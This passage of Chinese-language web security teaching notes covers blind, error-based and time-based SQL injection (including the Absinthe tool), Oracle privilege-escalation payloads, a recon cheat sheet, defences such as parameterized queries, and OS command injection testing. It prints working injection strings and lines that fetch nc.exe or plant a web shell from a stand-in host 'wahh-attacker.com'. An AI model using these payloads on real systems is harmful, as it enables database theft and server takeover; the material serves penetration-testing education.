第二步:單擊Initialize Injection選項。這時,Absinthe將發佈兩個測試請求,旨在觸發不一樣的應用程序響應。如前面的攻擊所述,Absinthe注入下面兩個有效載荷:
'and 1=1--
'and 1=2--
只要已經正確配置了Absinthe,這兩個測試請求就應致使應用程序做出不一樣的響應,證明已經爲利用漏洞作好準備。
第一次鏈接測試可否在應用程序中成功生成不一樣的響應,取決於注入查詢的語法的複雜程度。若是測試失敗,那麼須要根據在手動探查應用程序時得到知識,修改Absinthe的請求生成的查詢語法。要修改Absinthe有效載荷以後的語法,能夠更改Append text to end of query選項;要修改有效載荷以前的語法,能夠更改相關參數的默認值。不斷進行試驗,直到成功完成初始化注入測試。
完成對Absinthe的配置後就能夠實施攻擊。首先,進入DB Schema選項卡選擇一個或幾個有效的操做:獲取用戶名、加載表信息和加載字段信息。
Absinthe用大量其餘條件替代測試條件1=1,旨在查明數據庫的內容並從獲取任意數據。
例如,若是以Oracle平臺爲攻擊對象,那麼Absinthe可經過注入如下值,查明當前數據庫用戶名的第一個字符:
admin' and (SELECT ASCII(SUBSTR(a.username,1,1)) From User_users a where A.USERNAME = USER) = 65
若是第一個字符爲A,這個條件爲真。由於應用程序的響應等同於最初的1=1響應,因此Absinthe將檢測到這一點。經過自動執行大量查詢,Absinthe將得到整個字符串。
實際上,Absinthe不用循環使用每個可能的字符查找「觸點」,相反,它使用一種更加複雜的二進制速查技巧,顯著減小所需請求的數量。這個技巧首先測試被查詢的字符是否大於X(所有容許值的中間值),若是該字符大於X,就對1.5X進行重複測試;不然,就對0.5X進行重複測試。例如:
admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 19443--
admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 9722--
etc...
若是Absinthe已經收集到須要的所有信息,甚至能夠進入Dowload Records選項卡,以XML格式輸出收集到的信息。
這種技巧利用了數據庫在求條件語句的值時表現出得一個行爲特色:數據庫將根據其餘部分的狀況,僅對那些須要求值的語法部分求值。包含WHERE字句的SELECT語句就是表現出這種行爲的一個典型示例:
SELECT X FROM Y WHERE C
這條語句使得數據庫訪問表Y的每一行,評估條件C;若是條件C爲真,返回X。若是條件C永遠爲假,永遠不求出表達式X的值。
能夠找到一個語法有效但若是求值就會生成錯誤的表達式X,對這種行爲加以利用。在ORACLE與MS-SQL中,被零除計算(divide-by-zero computation)就是這樣的表達式,如1/0.若是條件C爲真,那麼求表達式X的值,這就形成一個數據庫錯誤。若是條件C爲假,就不會發生錯誤。所以,能夠經過是否發生錯誤測試任意一個條件C。
下面的查詢就是一個典型的示例,它查詢默認的Oracle用戶DBSNMP是否存在,若是該用戶存在,就會求表達式1/0的值,形成一個錯誤。
SELECT 1/0 FROM dual WHERE (SELECT username From all_users Where username = 'DBSNMP') = 'DBSNMP'
下面的查詢檢查虛構用戶AAAAAA是否存在,由於WHERE條件永遠爲假,因此不求表達式1/0的值,於是不會發生錯誤。
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'AAAAAA') = 'AAAAAA'
這種技巧的目的是在應用程序中引起一個條件式響應,即便注入的查詢不會給應用程序邏輯或數據處理形成影響。
此方法是根據攻擊者指定的條件形成時間延遲的查詢。攻擊者能夠提交他設計的查詢,而後監控服務器做出響應所花的時間。若是發生延遲,攻擊者可推斷條件爲真。即便在兩種狀況下應用程序的響應徹底相同,攻擊者仍然可根據是否存在時間延遲從數據庫中提取依比特數據。經過大量執行這類查詢,攻擊者就可以系統的從數據庫中提取任何複雜的數據,每次一比特。
這種引起適當時間延遲的方法的精確性取決於所使用的目標數據庫。MS-SQL中包含一個內置的WAITFOR命令,可用於引發一個指定的時間延遲。例如,若是當前數據庫用戶爲SA,下面的查詢將形成5秒鐘的時間延遲:
If(select user) = 'sa' waitfor delay '0:0:5'
使用這個命令,攻擊者就可以以各類方式提取任何信息,一種方法是利用前面已經描述的、在應用程序返回條件性響應時用到的相同技巧。如今,若是知足一個特殊條件,注入的查詢就不在觸發一個不一樣的應用程序響應,相反,它引起一次時間延遲。例如,下面的第二個查詢將引起一次時間延遲,表示被截獲字符串的第一個字母爲A。
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
和前面同樣,攻擊者能夠循環使用每一個字符的全部可能值,直到發生時間延遲。另外,能夠經過減小所需請求的數量,提升攻擊的效率。在介紹Absinthe時描述的另外一個技巧,是將每一個字節的數據劃分紅比特,並在每次查詢中得到一比特的數據。POWER命令和按位「與」運算符(bitwise and operator)&可用於在逐比特的基礎上指定條件。例如,如下查詢測試被截獲數據的第一個字節的第一比特,若是其值爲1,終止查詢:
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
如前所述,這種引起時間延遲方法的準確性在很大程度上取決於所使用的數據庫。其餘數據庫並無內置的時間延遲命令;可是,仍是可使用其餘技巧形成時間延遲。
在MYSQL中,可使用基準函數(benchmark function)重複執行一個特定的操做。指示數據庫執行一個處理器密集型操做,如SHA-1散列,大量的操做次數將形成一次可測量的時間延遲。例如:
Select if(user() like 'root@%',benchmark(50000,shal('test')),'false')
在ORACLE中,一種方法是使用UTL_HTTP鏈接一個不存在的服務器,形成一次操做超時。這回使得數據庫嘗試與指定的服務器創建鏈接,並最終形成超時。例如:
SELECT 'a'||UTL_HTTP.Request('Http://madeupserver.com') from dual
...delay...
ORA-29273:HTTP Request failed
ORA-06512:at "SYS.UTL_HTTP",Line 1556
ORA-12545:Connect failed because target host or object does not exist
能夠利用這種行爲根據指定的某個條件形成時間延遲。例如,若是默認的Oracle帳戶SBSNMP存在,下面的查詢將會形成一次超時:
SELECT 'a'||UTL_HTTP.Request('http://madeupserver.com') From dual WHERE (select username From all_users Where username = 'DBSNMP') = 'DBSNMP'
如前所述,在Oracle和MySQL數據庫中,均可以使用SUBSTR(ING)和ASCII函數每次一字節的獲取任意信息。
咱們已經說明了如何使用時間延遲來獲取有用的信息,然而,當對應用程序進行初步探查、檢測SQL注入漏洞時,時間延遲技巧也可能很是有用。在一些徹底盲目的SQL注入攻擊中,瀏覽器中不會顯示查詢結果,全部錯誤都被應用程序以隱含的方式處理,使用提交專門設計的輸入的標準技巧可能很難檢測出漏洞。這時,使用時間延遲是在初步探查過程當中檢測一個漏洞是否存在最有效方法。例如,若是後端數據庫爲MS-SQL,那麼能夠將下面的兩個字符串輪流注入每一個請求參數中,並監控應用程序響應請求所用的時間,從而肯定全部漏洞:
';waitfor delay '0:30:0'--
1;waitfor delay '0:30:0'--
ORACLE:
人們已在Oracle數據庫軟件中發現了大量安全漏洞。若是找到一個容許執行任意查詢的SQL注入漏洞,那麼就能夠利用這種漏洞提高到數據管理員權限
Oracle包含許多可在數據庫管理員權限下運行的內置存儲過程,並已發如今這些存儲過程當中存在的SQL注入漏洞。攻擊者能夠利用這個缺陷,在易受攻擊的字段中注入grant DBA to public查詢來提高權限。
select sys.DBMS_EXPLORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1);execute immediate ''declare
pragma autonomous_transation;begin execute immediate ''''grant dba to public'''';end;'';end;--','CTXSYS',1,'1',0) from dual
這種類型的攻擊可經過利用Web應用程序中的SQL注入漏洞,在易受攻擊的參數中注入函數來實現。
許多其餘類型的缺陷也影響到ORACLE的內置組件。一個示例是CTXSYS.DRILOAD.VALIDATE_STMT函數。這個函數的目的是檢查一個指定的字符串中是否包含一個有效的SQL語句。然而,在早期版本的Oracle中,在肯定被提交的語句的過程當中,這個函數實際上執行了該語句。這意味着任何用戶只需向這個函數提交一個語句,就可以做爲數據庫管理員執行該語句。例如:exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC')
除這些漏洞外,Oracle還含有大量默認功能,這些功能可被低權限用戶訪問,並可用於執行各類敏感操做,如創建網絡鏈接或訪問文件系統。除了前面描述的用於創建帶外鏈接的功能強大的包之外,UTL_FILE包可用於在數據庫服務器文件系統上讀取和寫入文件。
ORACLE:
ASCII和SUBSTRING:ASCII('A')等於65
SUBSTR('ABCDE',2,3)等於BCD
獲取當前數據庫用戶:Select Sys.login_user from dual
SELECT user From dual
SYS_CONTEXT('USERENV','SESSION_USER')
引發時間延遲:UTL_HTTP.Request('http://madeupserver.com')
獲取數據庫版本字符串:Select banner from v$version
獲取當前數據庫:SYS_CONTEXT('USERENV','DB_NAME')
獲取當前用戶的權限:SELECT * from session_privs
顯示用戶對象:SELECT Object_name,object_type from user_objects
顯示用戶表:SELECT Object_name,object_type from user_objects Where object_type = 'TABLE'
顯示用戶訪問的全部表:SELECT table_name from all_tables
顯示錶foo的欄名稱:Select column_name,name from user_tab_columns where table_name = 'FOO'(若是目標數據庫不爲當前應用程序用戶全部,使用ALL_tab_columns表)
L。防止SQL注入
部分有效的防護措施
因爲單引號在SQL注入漏洞中佔有突出地位,防護這種攻擊的一種經常使用方法,就是將用戶輸入中的任何單引號配對,對他們進行轉義。可是下面這兩種狀況下,這種方法沒法奏效。
A。用戶提交的數字數據內置在SQL查詢中。
B。在二階SQL注入攻擊中,最初在插入數據庫中時已經徹底轉義的數據隨後被從數據庫中讀取出來,而後又再次寫入。當數據被從新使用時,最初被配對的引號又恢復到單引號形式。
無疑,定製的存儲過程可加強安全性,提升性能;然而,因爲兩方面的緣由,他們並不能保證防止SQL漏洞。
A。如在使用Oracle的示例中所見,編寫存在缺陷的存儲過程可能在自己的代碼中包含SQL注入漏洞。在存儲過程當中構建SQL語句時也可能出現相似的安全問題,使用存儲過程也沒法防止漏洞產生。
B。即便使用安全可靠的存儲過程,但若是使用用戶提交的輸入以不安全的方式調用這個存儲過程,頁仍然可能出現SQL注入漏洞。例如,假設用戶註冊功能在一個存儲過程當中執行,該存儲過程經過如下方式調用:
exec sp_RegisterUser 'joe','secret'
這個語句和一個簡單的Insert語句同樣易於受到攻擊。例如,攻擊者能夠提交如下密碼:
foo';exec master..xp_cmdshell 'tftp wahh-attacker.com Get nc.exe'--
應用程序將執行如下批量查詢:
exec sp_RegisterUser 'joe','foo';exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'
所以,使用存儲過程並無做用。
大多數數據庫和應用程序開發平臺都提供API,對不可信的輸入進行安全處理。以防止SQL注入漏洞。參數化查詢(也叫準備好的語句)分兩個步驟創建一個包含用戶輸入的SQL語句。
(1)應用程序制定查詢結構,爲用戶輸入的每一個數據預留佔位符。
(2)應用程序制定每一個佔位符的內容。
相當重要的是在第二個步驟中指定的專門設計的數據沒法破壞在第一個步驟中指定的查詢結構。由於查詢結構已經肯定,且相關API對任何類型的佔位符數據進行安全處理,所以它總被解釋爲數據,而不是語句結構的一部分。
使用參數化查詢可有效防止SQL注入,但還要注意如下三個重要的限制:
(1)應在每個數據庫查詢中使用參數化查詢
(2)插入查詢中的每一種數據都應適當進行參數化。
(3)參數佔位符不能用於指定查詢中表和欄的名稱。
一般,一種穩定的安全機制應採用深層防護措施提供額外的保護,以防止前端防護因爲任何緣由失效。當防護針對後端數據庫的攻擊時,應採用另外三層防護。
(1)當訪問數據庫時,應用程序應儘量使用最低權限帳戶。
(2)許多企業數據庫包含大量默認功能,可被可以執行任意SQL語句的攻擊者利用。
(3)應評估、測試並及時安裝供應商發佈的全部安全補丁,以修補數據庫軟件自己已知存在的漏洞。
經常使用於發出操做系統命令的函數,如PHP中的exec和ASP中的wscript函數,一般並不限制命令的可執行範圍。即便開發者準備使用API執行一個相對善意的任務,如列出一個目錄的內容,攻擊者仍是能夠對其進行暗中破壞,從而寫入任意文件或啓動其餘程序。一般,全部的注入命令均可在Web服務器的進程中安全運行。它具備足夠強大的功能,使得攻擊者可以徹底控制整個服務器。
滲透測試步驟:
1.一般可使用ping命令讓服務器在一段時期內檢測它的迴環接口(loopback interface),從而觸發時間延遲。Windows和UNIX平臺在處理命令分隔符與ping命令方面存在一些細微的差異,可是,若是沒有設置過濾,下面的通用測試字符串應該可以在兩個平臺上引發30秒額時間延遲。
||ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
2.若是應用程序過濾掉某些命令分隔符,爲提升檢測到命令注入漏洞的可能性,還應該輪流向每個目標參數提交下面的每一個測試字符串,並監控應用程序進行響應的時間。
| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;ping 127.0.0.1 ;
%Oa ping -i 30 127.0.0.1 %Oa
'ping 127.0.0.1'
3.若是發生時間延遲,說明應用程序可能易於受到命令注入攻擊。重複幾回測試過程,肯定延遲不是因爲網絡延時或其餘異常形成的。能夠嘗試更改-n或-i參數的值,並肯定經歷的時間延遲是否會隨着提交的值發生對應的變化。
4.使用所發現的任何一個可成功實施攻擊的注入字符串,嘗試注入另外一個更有用的命令(如ls或dir),肯定是否能將命令結果返回到瀏覽器上。
5.若是不能直接得到命令執行結果,還能夠採用其餘方法:
(1)能夠嘗試打開一條通向本身計算的帶外通道。嘗試使用TFTP上傳工具至服務器,使用telnet或netcat創建一個通向本身計算機的反向shell,並使用mail命令經過SMTP發送命令結果。
(2)能夠將命令結果重定向到Web根目錄下的一個文件,而後使用瀏覽器直接獲取結果。例如:
dir > c:\inetpub\wwwroot\foo.txt
6.一旦找到注入命令的方法並可以得到命令執行結果,就應當肯定本身的權限(經過使用whoami或相似命令,或者嘗試向一個受到保護的目錄寫入一個無害的文件)。而後就能夠設法提高本身的權限,進而祕密訪問應用程序中的敏感數據,或者經過被攻破的服務器攻擊其餘主機。
7.有時,因爲某些字符被過濾掉,或者應用程序所使用的命令API的特殊行爲,可能沒法注入一個徹底獨立的命令。可是攻擊者仍然能夠破壞所執行的命令的行爲,獲得想要的結果。
8.<和>字符分別用於將一個文件的內容指向命令的輸入以及將命令的輸出指向一個文件。若是不可能使用前面的技巧注入一個徹底獨立的命令,仍然可使用<和>字符讀取及寫入任意文件的內容
9.應用程序調用的許多操做系統命令接受大量控制其行爲的命令參數。一般,用戶提交的輸入以這種參數的形式傳送給命令處理,只需在相關參數後插入一個空格,就能夠在空格後添加一個參數。例如,一個Web創做應用程序可能擁有一項功能,容許服務器得到一個用戶指定的URL,而後將它的內容呈如今瀏覽器上進行編輯。若是應用程序調用Wget程序,那麼就能夠經過附加wget使用-o命令行參數,在服務器的文件中寫入任何文件的內容。例如:
url = http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\script\cmdasp.asp
許多命令注入攻擊要求注入空格分隔命令行自變量,若是攻擊者發現應用程序過濾空格,而且攻擊的是UNIX平臺,那麼它可使用包含空白符字段分隔符的¥IFS環境變量代替空格。
一般來講,防止OS注入命令注入漏洞的最佳方法是徹底避免直接調用系統命令。WEB應用程序須要執行的幾乎任何任務均可以經過使用內置API完成,並且攻擊者沒法控制這些API,使其執行其餘預料以外的命令。